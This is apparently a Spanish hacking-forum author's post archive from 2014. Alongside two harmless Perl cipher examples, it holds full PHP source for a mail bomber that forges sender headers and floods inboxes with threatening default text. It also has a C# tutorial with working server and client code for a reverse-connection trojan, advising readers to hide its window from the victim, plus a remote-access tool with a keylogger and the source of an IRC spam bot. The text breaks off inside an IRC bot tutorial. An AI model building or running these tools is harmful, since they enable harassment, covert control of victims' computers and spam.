sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
}

# The End ?

#82
Scripting / [Perl] Ejemplo de Cifrado Cesar
28 Noviembre 2014, 17:48 PM
Un simple ejemplo de como hacer en cifrado cesar en Perl.

El codigo :

Código (perl) [Seleccionar]

# !usr/bin/perl
# Caesar Cipher
# Coded By Doddy Hackman in the year 2014

head();
menu();
copyright();

# Functions

sub head {
    print "\n-- == Caesar Cipher == --\n";
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
}

sub menu {
    print qq(
==============
= Menu       =
==============
1 - Encode   =
2 - Decode   =
3 - Exit     =
==============
);

    print "\n[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op eq "3" ) {
        copyright();
        <stdin>;
        exit(1);
    }

    print "\n[+] Enter text : ";
    chomp( my $text = <stdin> );

    print "\n[+] Result ...\n\n";

    if ( $op eq "1" ) {
        print cifrado_cesar($text);
        <stdin>;
        menu();
    }
    elsif ( $op eq "2" ) {
        print descifrado_cesar($text);
        <stdin>;
        menu();
    }
    else {
        menu();
    }

}

sub cifrado_cesar {

    my @re;

    @letras = split( //, $_[0] );

    for my $letra (@letras) {

        if ( $letra ne " " ) {

            $letrafinal = chr( ord($letra) + 3 );

            $letrafinal =~ s/{/a/;
            $letrafinal =~ s/\|/b/;
            $letrafinal =~ s/}/c/;

            push( @re, $letrafinal );

        }
        else {
            push( @re, " " );
        }
    }

    return @re;

}

sub descifrado_cesar($texto) {

    my @re;

    @letras = split( //, $_[0] );

    for my $letra (@letras) {

        if ( $letra ne " " ) {

            $letrafinal = chr( ord($letra) - 3 );

            $letrafinal =~ s/\^/x/;
            $letrafinal =~ s/_/y/;
            $letrafinal =~ s/`/z/;

            push( @re, $letrafinal );

        }
        else {
            push( @re, " " );
        }
    }

    return @re;

}

# The End ?
#83
Scripting / [Perl] Ejemplo de Cifrado Murcielago
21 Noviembre 2014, 14:11 PM
Un simple ejemplo en Perl sobre como realizar el cifrado Murcielago.

Código (perl) [Seleccionar]

# !usr/bin/perl
# Cifrado Murcielago
# Coded By Doddy Hackman in the year 2014

head();
menu();
copyright();

# Functions

sub head {
    print "\n-- == Cifrado Murcielago == --\n";
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
}

sub menu {
    print qq(
===============
= Menu        =
===============
1 - Cifrar    =
2 - Descifrar =
3 - Exit      =
===============
);

    print "\n[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op eq "3" ) {
        copyright();
        <stdin>;
        exit(1);
    }

    print "\n[+] Enter text : ";
    chomp( my $text = <stdin> );

    print "\n[+] Result ...\n\n";

    if ( $op eq "1" ) {
        print cifrado_murcielago($text);
        <stdin>;
        menu();
    }
    elsif ( $op eq "2" ) {
        print descifrado_murcielago($text);
        <stdin>;
        menu();
    }
    else {
        menu();
    }

}

sub cifrado_murcielago {
    my $texto = shift;
    $texto =~ tr/murcielagoMURCIELAGO/01234567890123456789/;
    return $texto;
}

sub descifrado_murcielago {
    my $texto = shift;
    $texto =~ tr/01234567890123456789/murcielagoMURCIELAGO/;
    return $texto;
}

# The End ?
#84
PHP / [PHP] DH Bomber 0.5
14 Noviembre 2014, 14:30 PM
Un simple mail bomber en PHP en la proxima version voy a usar correos gmail para enviar mensajes , no el mailer local de la pagina web.

Una imagen :



El codigo :

Código (php) [Seleccionar]

<?php

// DH Bomber 0.5
// (C) Doddy Hackman 2014

echo '
<style type="text/css">


.main {
margin : -287px 0px 0px -490px;
border : White solid 1px;
BORDER-COLOR: #ffffff;
}


#pie {
position: absolute;
bottom: 0;
}

body,a:link {
background-color: #000000;
color:#ffffff;
Courier New;
cursor:crosshair;
font-size: small;
}

input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;color:#ffffff; 
border: solid 1px #ffffff;
border-color:#ffffff
}

a:link,a:visited,a:active {
color: #ffffff;
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}

</style>'
;

echo 
"<title>DH Bomber 0.5 (C) Doddy Hackman 2014</title>";

echo 
'<center><h1>-- == DH Bomber 0.5 == --</h1></center>
<center>
<br>'
;

if (isset(
$_POST['bombers'])) {
    
    
$cantidad_bien 0;
    
$cantidad_mal  0;
    
    
$need "";
    
$i    "";
    
$need .= "MIME-Version: 1.0\n";
    
$need .= "Content-type: text/html ; charset=iso-8859-1\n";
    
$need .= "MIME-Version: 1.0\n";
    
$need .= "From: " $_POST['nombrefalso'] . " <" $_POST['falso'] . ">\n";
    
$need .= "To: " $_POST['nombrefalso'] . "<" $_POST['falso'] . ">\n";
    
$need .= "Reply-To:" $_POST['falso'] . "\n";
    
$need .= "X-Priority: 1\n";
    
$need .= "X-MSMail-Priority:Hight\n";
    
$need .= "X-Mailer:Widgets.com Server";
    
    echo 
"
<table border=1>
<td><center><h2><a href=" 
"http://" $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "" ">Console</a></h2></center></td><tr>
<td><fieldset>\n\n"
;
    
    
$leyendo_mailist explode("\n"trim($_POST['mailist']));
    
$mails           array_filter($leyendo_mailist'trim');
    
    foreach (
$mails as $mail) {
        for (
$i 1$i <= $_POST['count']; $i++) {
            if (@
mail($mail$_POST['asunto'], $_POST['mensaje'], $need)) {
                
$cantidad_bien++;
                echo 
"[<font color=#00FF00>Sent Successful</font>] Message <b>$i</b> to <b>" htmlentities($mail) . "</b><br>";
                
flush();
            } else {
                echo 
"[<font color=red>Send Fail</font>] Message <b>$i</b> to <b>" htmlentities($mail) . "</b><br>";
                
$cantidad_mal++;
            }
        }
        echo 
"<br>";
    }
    
    echo 
"<font color=#00FF00>[" $cantidad_bien "]</font> mails sent <font color=#00FF00>successfully</font>";
    echo 
"<br><font color=red>[" $cantidad_mal "]</font> mails sent <font color=red>failed</font>";
    
    echo 
"</fieldset></td></table>";
    
    if (
$cantidad_bien == 0) {
        echo 
"<script>alert('Mails Not Send')</script>";
    } else {
        
//echo "<script>alert('[".$cantidad_bien."] mails sent successfully')</script>";
    
}
    
} else {
    echo 
'
<form action="" method="POST">
<table border="1">
<tr>
<td>FakeMail : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="falso" value="lagarto@juancho.com" size="44" type="text"></td></tr><tr>
<td>FakeName : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="nombrefalso" value="Juancho" size="44" type="text"></td></tr><tr>
<td>Subjects : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="asunto" value="Hi Bitch" size="44" type="text"></td></tr><tr>
<td>Count : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="count" value="1" size="44" type="text"></td></tr><tr>
<td>Mailist : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><textarea name="mailist" rows="7" cols="41">ihateyou@hotmail.com</textarea></td></tr><tr>
<td>Body : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><textarea name="mensaje" rows="7" cols="41">I will make your life a living hell</textarea></td></tr><tr>
</tr></tbody></table><br><br>
<input name="bombers" value="Send" type="submit">
</form>'
;
}

echo 
'
<br>
<h1>-- == (C) Doddy Hackman 2014 == --</h1>
</center>'
;

// The End ?

?>

#85
.NET (C#, VB.NET, ASP) / [C#] DH Rat 0.3
7 Noviembre 2014, 15:11 PM
Un simple Rat que hice en C# con las siguientes opciones :

  • Abrir y cerrar lectora
  • Listar archivos en un directorio
  • Borrar archivos y directorios
  • Ver el contenido de un archivo
  • Hacer que el teclado escriba solo
  • Abre Word y para variar las cosas el teclado escribe solo
  • Mandar mensajes
  • Hacer que la computadora hable (en ingles)
  • Listar procesos
  • Matar un proceso
  • Ejecutar comandos y ver el resultado
  • Volver loco al mouse por un rato
  • Ocultar y mostrar el taskbar
  • Ocultar y mostrar los iconos del escritorio
  • Keylogger incluido

    Una imagen :



    Version VideoTutorial

    [youtube=640,360]http://www.youtube.com/watch?v=TCqxB82WXYc[/youtube]

    Si lo quieren bajar lo pueden hacer de aca.
#86
[Titulo] : Creacion de un Troyano de Conexion Inversa
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del servidor
0x03 : Creacion del cliente
0x04 : Probando el programa
0x05 : Bibliografia

-- =================--------

0x01 : Introduccion

Un troyano de conexion inversa es aquel en el que el administrador del troyano es el servidor y la
victima es el cliente , eso nos ayuda para que no le salte el firewall a la victima cuando ejecute aunque va a saltar el antivirus de todas formas si es server se vuelve conocido , los troyanos de conexion inversa es la forma moderna en la que aparecen todos los troyanos nuevos.
Al principio no encontraba ni ejemplos ni manuales de como hacer uno de troyano de conexion inversa en C# pero gracias a un ejemplo llamado "Reverse Connection RAT Example" hecho por xSilent de hackhound logre entender el funcionamiento

Sabiendo todo esto vamos hacer uno en C# con Visual Studio 2010.

Comencemos ...

0x02 : Creacion del servidor

Primero vamos a crear el servidor de la siguiente forma con visual studio :



Una vez creado el proyecto pongan lo siguientes namespaces al inicio del codigo :

Código (csharp) [Seleccionar]

using System.Threading; // Lo usamos para poder manejar los hilos
using System.Net.Sockets; // Lo usamos para poder crear la conexion
using System.Net; // Lo usamos para poder crear la conexion
using System.Text.RegularExpressions; // Lo usamos para buscar en los strings usando expresiones regulares


Despues pongan las siguientes variables gobales al inicio del codigo :

Código (csharp) [Seleccionar]

TcpListener tcp_server; // Establecemos la variable tcp_server como TcpListener
Thread thread_server; // Establecemos la variable thread_server Thread


Ahora vamos a crear una clase llamada ServerManager con el siguiente codigo :

Código (csharp) [Seleccionar]

// Server Manager
// Coded By Doddy Hackman
// Credits :
// Rat Based on : http://www.hackforums.net/showthread.php?tid=827069v
// Thanks to xSilent

using System;
using System.Collections.Generic;
using System.Text;
using System.Net.Sockets; // Para el manejo de sockets
using System.IO; // Para el manejo de Streams
using System.Windows.Forms;  // Para el manejo de formularios
using System.Text.RegularExpressions; // Para el manejo de expresiones regulares

namespace server
{
    class ServerManager
    {
        public TcpClient manager; // Variable global para manejar el cliente
        public string ip; // Variable global para tener la IP

        public delegate void cargando_datos(ServerManager manager, string Message);
        public event cargando_datos evento_panel_control_now;

        public ServerManager(TcpClient manager)
        {
            this.manager = manager;
            string datos = manager.Client.RemoteEndPoint.ToString(); // Cargamos los datos de la conexion
            Match regex = Regex.Match(datos, "(.*):(.*)", RegexOptions.IgnoreCase); // Dividimos la ip y el puerto
            if (regex.Success) // Si se encontro ...
            {
                ip = regex.Groups[1].Value; // Guardamos la IP

            }

            manager.GetStream().BeginRead(new byte[] { 0 }, 0, 0, leo_al_idiot, null); // Seguimos leyendo
        }
        void leo_al_idiot(IAsyncResult contenido_leyendo)
        {
            try
            {
                StreamReader leyendo_now = new StreamReader(manager.GetStream()); // Leemos los datos de la conexion
                string mensaje_leyendo_now = leyendo_now.ReadLine(); // Cargamos los datos de la conexión en la variable string
                evento_panel_control_now(this, mensaje_leyendo_now); // Mandamos a la funcion los datos leidos con la variable string
                manager.GetStream().BeginRead(new byte[] { 0 }, 0, 0, leo_al_idiot, null); // Recargamos los datos
            }
            catch
            {
                //
            }

        }

        public void respondo_al_idiot(string mensaje_now)
        {
            try
            {
                StreamWriter te_mando_now = new StreamWriter(manager.GetStream()); // Creamos el stream para responder al cliente
                te_mando_now.WriteLine(mensaje_now); // Mandamos la respuesta
                te_mando_now.Flush(); // Refrescamos el buffer
            }
            catch
            {
                //
            }
        }

    }
}

// The End ?


El formulario del servidor lo vamos hacer de la siguiente forma :

  • 1 ListView con una columna que tiene de texto "Idiots Found" y ponen la propiedad "View" en "Details"
  • 3 Botones con el siguiente texto "Online","OpenCD","Close CD"

    Les tiene que quedar algo asi :



    Una vez hecho esto hacemos doble click en el primer boton llamado "Online" para poner el siguiente codigo :

    Código (csharp) [Seleccionar]

    private void button1_Click(object sender, EventArgs e)
    {
    int port = 666; // Establecemos la variable port como int con el valor de 666 para usar como numero de puerto
    tcp_server = new TcpListener(IPAddress.Any, port); // Establecemos la conexion con el puerto usando tcp_server
    thread_server = new Thread(panel_control); // Establecemos el hilo thread_server para poder leer los datos
    thread_server.Start(); // Iniciamos el hilo thread_server
    }


    Despues del codigo del boton agreguen el siguiente codigo :

    Código (csharp) [Seleccionar]

    public void panel_control()
    {
    tcp_server.Start(); // Iniciamos el servidor
    while (true) // Bucle eterno para poder enviar y recibir datos de la conexion
    {
    ServerManager socket_server_now = new ServerManager(tcp_server.AcceptTcpClient()); // Aceptamos la conexion entrante
    socket_server_now.evento_panel_control_now += new ServerManager.cargando_datos(evento_panel_control); // Usamos la clase ServerManager para manejar
    // los datos de la conexion pendiente
    }
    }

    void evento_panel_control(ServerManager vengo,string data)
    {
    Match regex = Regex.Match(data, "-ACATOY-LLEGUE-ACATOY-", RegexOptions.IgnoreCase); // Usamos la expresion regular
    // para controlar que se encuentre
    // el texto "-ACATOY-LLEGUE-ACATOY-" en la variable string data
    if (regex.Success) // Si se encuentra ...
    {
    Invoke(new _NewIdiot(NewIdiot),vengo); // Llamamos la funcion NewIdiot para agregar un cliente mas
    }

    regex = Regex.Match(data, "-RtaCommand-(.*)-RtaCommand-", RegexOptions.IgnoreCase); // Si encontramos una respuesta
    // enviada por el servidor usamos la expresion regular para extraer la respuesta del servidor que esta entre los dos
    // -RtaCommand-
    if (regex.Success) // Si se encuentra ...
    {
    MessageBox.Show("[+] Status : "+regex.Groups[1].Value); // Mostramos la respuesta en MessageBox
    }
    }

    delegate void _NewIdiot(ServerManager vengo);
    void NewIdiot(ServerManager vengo)
    {
    ListViewItem agregar = new ListViewItem(); // Creamos un item nuevo con la variable agregar
    agregar.Text = vengo.ip; // Agregamos como texto la IP
    agregar.Tag = vengo; // Agregamos como Tag los datos de "vengo"
    listView1.Items.Add(agregar); // Agregamos el nuevo item a la lista
    }


    Todos estos pasos les deberia quedar asi :



    Ahora vamos hacer doble click el segundo boton que tiene como texto "OpenCD" para poner el siguiente codigo :

    Código (csharp) [Seleccionar]

    ServerManager manager = (ServerManager)listView1.Items[listView1.FocusedItem.Index].Tag; // Capturamos el tag
    // del item seleccionado por el usuario
    manager.respondo_al_idiot("-Command-OpenCD-Command-"); // Mandamos la orden OpenCD al infectado seleccionado en el
    // listView


    Despues vamos agregar el siguiente codigo al segundo boton con texto "CloseCD" :

    Código (csharp) [Seleccionar]

    ServerManager manager = (ServerManager)listView1.Items[listView1.FocusedItem.Index].Tag; // Capturamos el tag
    // del item seleccionado por el usuario
    manager.respondo_al_idiot("-Command-CloseCD-Command-"); // Mandamos la orden CloseCD al infectado seleccionado en el
    // listView


    Les deberia quedar algo asi los dos botones :



    Eso seria todo en el servidor.

    0x03 : Creacion del cliente

    Ahora pasamos al cliente , para eso creamos un proyecto nuevo de la siguiente forma :



    Una vez creado el proyecto establecemos los siguientes namespaces al inicio del codigo de la sguiente forma :

    Código (csharp) [Seleccionar]

    using System.Net.Sockets; // Lo usamos para el manejo de sockets
    using System.Net; // Lo usamos para el manejo de sockets
    using System.IO; // Lo usamos para el manejo de streams
    using System.Runtime.InteropServices; // Lo usamos para poder usar la funcion de abrir y cerrar la lectora
    using System.Text.RegularExpressions; // Lo usamos para las expresiones regulares


    Despues de eso establecemos las siguientes variables globales con el siguiente codigo :

    Código (csharp) [Seleccionar]

    [DllImport("winmm.dll", EntryPoint = "mciSendStringA")] // Importamos la dll winmm.dll para poder usar mciSendStringA
    public static extern void mciSendStringA(string comandonow, string retornonow, long longitudnow, long callbacknow);
    // Establecemos la funcion mciSendStringA para poder abrir y cerrar la lectora
    static TcpClient conexion_con_el_server = new TcpClient(); // Declaramos como static la variable TcpClient de conexion_con_el_server
    static IPEndPoint datos_para_la_conexion_con_el_server = null; // Declaramos como static la variable datos_para_la_conexion_con_el_server de tipo
    // IPEndPoint y la seteamos como null


    Ahora vamos al evento Load del formulario y ponemos el siguiente codigo :

    Código (csharp) [Seleccionar]

    datos_para_la_conexion_con_el_server = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 666); // Establecemos la variable datos_para_la_conexion_con_el_server
    // como IPEndPoint con el valor de la IP y el puerto
    entrar_al_servidor(); // Realizamos la conexion


    Despues del codigo del Load del formulario agregamos estas tres funciones vitales para la conexion las cuales manejan el tema de enviar y recibir datos del servidor :

    Código (csharp) [Seleccionar]

    public static void entrar_al_servidor()
    {
    try
    {
    conexion_con_el_server.Connect(datos_para_la_conexion_con_el_server); // Conectamos al servidor con los datos del server
    enviar_respuesta("-ACATOY-LLEGUE-ACATOY-"); // Enviamos el mensaje ACATOY al servidor para decirle que hay un nuevo idiot
    conexion_con_el_server.GetStream().BeginRead(new byte[] { 0 }, 0, 0,leer_datos_del_servidor, null); // Capturamos todos los datos provenientes
    // de la conexion y los vemos mejor en la funcion leer_datos_del_servidor
    }
    catch
    {
    //
    }
    }

    public static void leer_datos_del_servidor(IAsyncResult now)
    {
    try
    {
    StreamReader abriendo_conexion = new StreamReader(conexion_con_el_server.GetStream()); // Usamos la variable abriendo_conexion
    // de tipo StreamReader para poder leer los datos que vienen
    string contenido = abriendo_conexion.ReadLine(); // Ponemos los datos la conexion en la variable string contenido

    Match regex = Regex.Match(contenido, "-Command-OpenCD-Command-", RegexOptions.IgnoreCase); // Usamos la expresion regular
    // para verificar que nos envien la orden OpenCD
    if (regex.Success) // Si pasa ...
    {
    mciSendStringA("set CDAudio door open", "", 127, 0); // Usamos mciSendStringA para abrir la lectora
    enviar_respuesta("-RtaCommand-OpenCD OK-RtaCommand-"); // Le decimos al servidor que todo salio bien aunque nunca verifique nada xD
    }

    regex = Regex.Match(contenido, "-Command-CloseCD-Command-", RegexOptions.IgnoreCase); // Usamos la expresion regular CloseCD para verificar que
    // nos envien la orden de CloseCd
    if (regex.Success) // Si pasa ...
    {
    mciSendStringA("set CDAudio door closed", "", 127, 0); // Usamos mciSendStringA para cerrar la lectora
    enviar_respuesta("-RtaCommand-CloseCD OK-RtaCommand-"); // Le decimos al servidor que todo salio bien
    }

    conexion_con_el_server.GetStream().BeginRead(new byte[] { 0 }, 0, 0,leer_datos_del_servidor, null); // Actualizamos los datos de la conexion
    }
    catch
    {
    //
    }
    }

    public static void enviar_respuesta(string texto)
    {
    try
    {
    StreamWriter enviar_respuesta_now = new StreamWriter(conexion_con_el_server.GetStream()); // Declaramos la variable enviar_respuesta_now
    // como StreamWriter para poder mandar un mensaje
    enviar_respuesta_now.WriteLine(texto); // Mandamos el mensaje que tienen la variable string y argumento "texto"
    enviar_respuesta_now.Flush(); // Seteamos para que el mensaje se envie correctamente
    }
    catch
    {
    //
    }
    }


    Con eso ya estaria listo el cliente.

    0x04 : Probando el programa

    Como ven no estan sencillo como en delphi pero esto es la base de un troyano de conexion inversa terminado desde ahi pueden agregar varias funciones como un keylogger , muy pronto voy a publicar la version en C# de mi DH Rat.
    Para probar el programa carguen el servidor que vendria a ser el administrador de infectados , hagan click en el boton "Online" para activar el servidor , entonces abran el cliente que vendria a ser el stub infectado para la victima y veran un form vacio , despues pueden hacer invisible el form si quieren hacer el troyano decente , despues de eso si todo salio bien veran en el listview la ip de ustedes , entonces seleccionen la ip en el listview y hagan click en los botones de abrir y cerrar la lectora para comprobar que realmente funciona.

    Unas imagenes de como funciona :







    Eso seria todo.

    0x05 : Bibliografia

    http://www.hackforums.net/showthread.php?tid=827069
    http://0six.wordpress.com/2011/04/03/c-rattcp-connection-tutorial/

    --========--
      The End ?
    --========--

    Version PDF.

    Version VideoTutorial :

    [youtube=640,360]https://www.youtube.com/watch?v=gd2nyjpcCDQ[/youtube]

    Eso es todo.
#87
Traduccion a C# de mi bot para IRC llamado ClapTrap.

Tiene las siguiente opciones :

  • Scanner SQLI
  • Scanner LFI
  • Buscador de panel de administracion
  • Localizador de IP
  • Buscador de DNS
  • Buscador de SQLI y RFI en google
  • Crack para hashes MD5
  • Cortador de URL usando tinyurl
  • HTTP FingerPrinting
  • Codificador base64,hex y ASCII 

    Unas imagenes :





    Si lo quieren bajar lo pueden hacer de aca.
#88
.NET (C#, VB.NET, ASP) / [C#] King Spam 0.2
17 Octubre 2014, 16:09 PM
Un simple programa estilo consola en C# para hacer spam en un canal IRC desde un archivo de texto con el spam a enviar.

El codigo :

Código (csharp) [Seleccionar]

// King Spam 0.2
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.Text;

using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text.RegularExpressions;

namespace kingspam
{
    class Program
    {

        static string[] usuarios;

        static StreamReader leer_datos;
        static StreamWriter mandar_datos;

        static void printear_logo(string texto)
        {

            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine(texto);
            Console.ResetColor();

        }

        static void printear(string texto)
        {

            Console.ForegroundColor = ConsoleColor.Green;
            Console.WriteLine(texto);
            Console.ResetColor();

        }

        static void printear_especial(string texto)
        {

            Console.ForegroundColor = ConsoleColor.Yellow;
            Console.WriteLine(texto);
            Console.ResetColor();

        }

        static string print_form(string texto)
        {

            Console.ForegroundColor = ConsoleColor.Green;
            Console.Write(texto);
            Console.ResetColor();

            Console.ForegroundColor = ConsoleColor.Cyan;
            string resultado = Console.ReadLine();
            Console.ResetColor();

            return resultado;

        }

        static void Main(string[] args)
        {

            printear_logo("\n-- == KingSpam 0.2 == --\n\n");

            string host_irc = print_form("[+] Host : ");
            string port_irc = print_form("\n[+] Port : ");
            string canal_irc = print_form("\n[+] Channel : ");
            string nick_irc = print_form("\n[+] Nickname : ");
            string file_spam = print_form("\n[+] Filename with spam : ");
            string timeout = print_form("\n[+] Timeout : ");

            if (File.Exists(file_spam))
            {
                string[] spam_lista_now = System.IO.File.ReadAllLines(file_spam);
                List<string> spam_lista = new List<string> {""};
                foreach (string agregar in spam_lista_now)
                {
                    spam_lista.Add(agregar);
                }

                NetworkStream conexion;
                TcpClient irc;

                string host = host_irc;
                string nickname = nick_irc;
                string canal = canal_irc;
                string code = "";

                printear_especial("\n[+] Connecting ...\n");

                try
                {

                    irc = new TcpClient(host, Convert.ToInt32(port_irc));
                    conexion = irc.GetStream();
                    leer_datos = new StreamReader(conexion);
                    mandar_datos = new StreamWriter(conexion);

                    mandar_datos.WriteLine("NICK " + nickname);
                    mandar_datos.Flush();

                    mandar_datos.WriteLine("USER " + nickname + " 1 1 1 1");
                    mandar_datos.Flush();

                    mandar_datos.WriteLine("JOIN " + canal);
                    mandar_datos.Flush();

                    printear("[+] Online ...");
                   

                }

                catch
                {
                    printear("\n[-] Error\n");
                }

                while (true)
                {
                    while ((code = leer_datos.ReadLine()) != null)
                    {

                        Match regex = Regex.Match(code, "PING(.*)", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            string te_doy_pong = "PONG " + regex.Groups[1].Value;
                            mandar_datos.WriteLine(te_doy_pong);
                            mandar_datos.Flush();
                        }

                        regex = Regex.Match(code, ":(.*) 353 (.*) = (.*) :(.*)", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            string usuarios_lista = regex.Groups[4].Value;
                            usuarios = usuarios_lista.Split(' ');
                            printear("\n[+] Users Found : " + usuarios.Length + "\n");
                            foreach (string usuario in usuarios)
                            {
                                printear("[+] User : " + usuario);
                            }
                            printear_especial("\n[+] Spammer Online\n");

                            while (true)
                            {

                                System.Threading.Thread.Sleep(Convert.ToInt32(timeout) * 1000);

                                var azar = new Random();
                                int pos = azar.Next(spam_lista.Count);
                                string mensaje = spam_lista[pos];

                                if (mensaje != "")
                                {
                                    mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + mensaje);
                                    mandar_datos.Flush();
                                }

                                foreach (string usuario in usuarios)
                                {
                                    if (usuario != nick_irc)
                                    {
                                        if (spam_lista[pos] != "")
                                        {
                                            mandar_datos.WriteLine("PRIVMSG" + " " + usuario + " " + mensaje);
                                            mandar_datos.Flush();
                                        }
                                    }
                                }
                            }

                        }
                   
                       
                    }

                }

            }
            else
            {
                printear_especial("[-] Error loading file");
            }

            Console.ReadLine();
           
        }
    }
}

// The End ?


Imagenes :





Si lo quieren bajar lo pueden hacer de aca.
#89
[Titulo] : Creacion de un IRC Bot
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Conectando con el servidor
0x03 : Listando usuarios
0x04 : Mandar mensajes
0x05 : Recibir privados
0x06 : Reconocer comandos
0x07 : Testeando

-- =================--------

0x01 : Introduccion

Para comenzar esta breve manual sobre como hacer un IRC Bot en C# les aclaro que eh probado todo esto en Visual Studio 2010 usando como servidor IRC mi propia computadora usando IRC Plus para ello , lo pueden conseguir facilmente en internet y al parecer es compatible con Seven.
Los IRC Bot usados normalmente como spam tambien son usados para irc botnet o incluso como hacking tools , en este manual les enseñare a hacer spam y reconocer comandos
para hacking tools.

Comencemos ...

Primero tenemos que crear un proyecto de tipo "Aplicacion de Consola" pongan el NET Framework a 2.0 y pongan de nombre de proyecto "irc" como en la siguiente imagen :



Con el proyecto ya creado pasemos al siguiente punto.

0x02 : Conectando con el servidor

Para poder realizar la conexion vamos a necesitar los siguientes namespaces de esta forma :

Código (csharp) [Seleccionar]

using System.Net; // Lo usamos para realizar la conexion
using System.Net.Sockets; // Lo mismo que la anterior
using System.IO; // Lo usamos para el manejo con los streams
using System.Text.RegularExpressions; // No es vital pero me encantan el uso de las expresiones regulares


Para poder realizar la conexion usamos los sockets de la siguiente forma :

Código (csharp) [Seleccionar]

NetworkStream conexion; // Establecemos la variable conexion como NetworkStream
TcpClient irc; // Establecemos la variable irc como TcpClient
StreamReader leer_datos; // Establecemos la variable leer_datos como StreamReader
StreamWriter mandar_datos; // Establecemos la variable mandar_datos como SteamWriter

string host = "localhost"; // Establecemos la variable string host para tener el host del canal IRC
string nickname = "ClapTrap"; // Establecemos la variable nickname con el nick del bot
string canal = "#locos"; // Establecemos la variable canal con el nombre del canal
string code = ""; // Creamos la variable string que vamos a usar para leer los sockets
           
irc = new TcpClient(host, 6667); // Realizamos la conexion con el canal usando el host y el puerto 6667
conexion = irc.GetStream(); // Cargamos la conexion para poder leer los datos
leer_datos = new StreamReader(conexion); // Lo necesario para leer los datos de la conexion
mandar_datos = new StreamWriter(conexion); // Lo necesario para mandar comandos al canal IRC

mandar_datos.WriteLine("NICK " + nickname); // Usamos el comando NICK para entrar al canal usando el nick antes declarado
mandar_datos.Flush(); // Actualizamos la conexion

mandar_datos.WriteLine("USER " + nickname + " 1 1 1 1"); // Usamos el comando USER para confirmar el nickname
mandar_datos.Flush(); // ..

mandar_datos.WriteLine("JOIN " + canal); // Usamos el comando JOIN para entrar al canal
mandar_datos.Flush(); // ..


Si quieren probar en otro servidor IRC pueden cambiar los datos de las variables host,nickname,canal para poder acceder a su canal.

Una vez conectados creamos un blucle enterno para capturar los datos y terminar de realizar la conexion con el famoso ping pong el cual nos hace el  servidor para poder terminar de conectarnos , resolvemos este tema de la siguiente forma :

Código (csharp) [Seleccionar]

while (true) // Mi bucle eterno
{
while ((code = leer_datos.ReadLine()) != null) // Leemos la conexion con la variable code
{
Console.WriteLine("Code : " + code); // No es necesario pero es para ver las respuestas del servidor

Match regex = Regex.Match(code, "PING(.*)", RegexOptions.IgnoreCase); // Detectamos el clasico PING para el PING PONG
// que nos hara el servidor IRC para verificar que estemos ahi y entrar al canal , aunque lo sigo haciendo despues
// para ver que no estemos muerto o algo asi xD
if (regex.Success) // Si se encontro algo
{
string te_doy_pong = "PONG " + regex.Groups[1].Value; // Capturamos lo que esta despues del ping y le damos al pong con los datos
mandar_datos.WriteLine(te_doy_pong); // Mandamos el comando de la variable anterior
mandar_datos.Flush(); // ..
}
}
}


Con esto ya estamos conectados.

0x03 : Listando usuarios

Para poder listar los usuarios agregamos la variabe global "usuarios" al inicio del codigo de la siguiente forma :

Código (csharp) [Seleccionar]

static string[] usuarios; // Creamos el string[] usuarios para tener todos los nicks que estan en el canal


Entonces volvemos al bucle eterno que hicimos con while y agregamos despues del ping pong el siguiente codigo :

Código (csharp) [Seleccionar]

regex = Regex.Match(code,":(.*) 353 (.*) = (.*) :(.*)", RegexOptions.IgnoreCase); // Capturamos los usuarios de todo el canal
// con el poder de las expresiones regulares
if (regex.Success) // Si los encontraron
{
string usuarios_lista = regex.Groups[4].Value; // Tenemos la variable con todos los nicks
usuarios = usuarios_lista.Split(' '); // Para mayor comodidad usamos un split para separar todos los espacios vacios que estan entre
// cada nick del canal para despues hacer una lista , que es la primera que declare en el codigo
foreach (string usuario in usuarios) // Usamos un for each para leer la lista usuarios y mostrar cada nick en la variable usuario
{
Console.WriteLine("[+] User : "+usuario); // Mostramos cada user
}
}


Como ven usamos las expresion regulares para buscar en el stream que nos manda la conexion con el servidor irc para despues seperar con split el resultado obtenido por espacios en blanco ' ' , despues usamos foreach para listar todos los usuarios en la consola.

0x04 : Mandar mensajes

Esta es una parte corta , para mandar un mensaje al canal de forma publica tenemos que usar el siguiente comando :

Código (csharp) [Seleccionar]

PRIVMSG #locos Mensaje


Un ejemplo usando C# al cual deben agregar obviamente despues del blucle while() :

Código (csharp) [Seleccionar]

mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + "Hi World"); // Mandamos un mensaje al canal
mandar_datos.Flush(); // ..


0x05 : Recibir privados

Bueno esta parte es un poco mas complicada , para poder detectar los mensajes privados que nos mandan tenemos que leer el stream que nos manda el canal y ver el comando PRIVMSG , en el comando PRIVMSG le seguira la procedencia , si es el canal sera un mensaje publico pero si no es el canal es un mensaje privado , eso lo podemos detectar con el siguiente codigo al cual vamos agregar despues del bucle while() : 

Código (csharp) [Seleccionar]

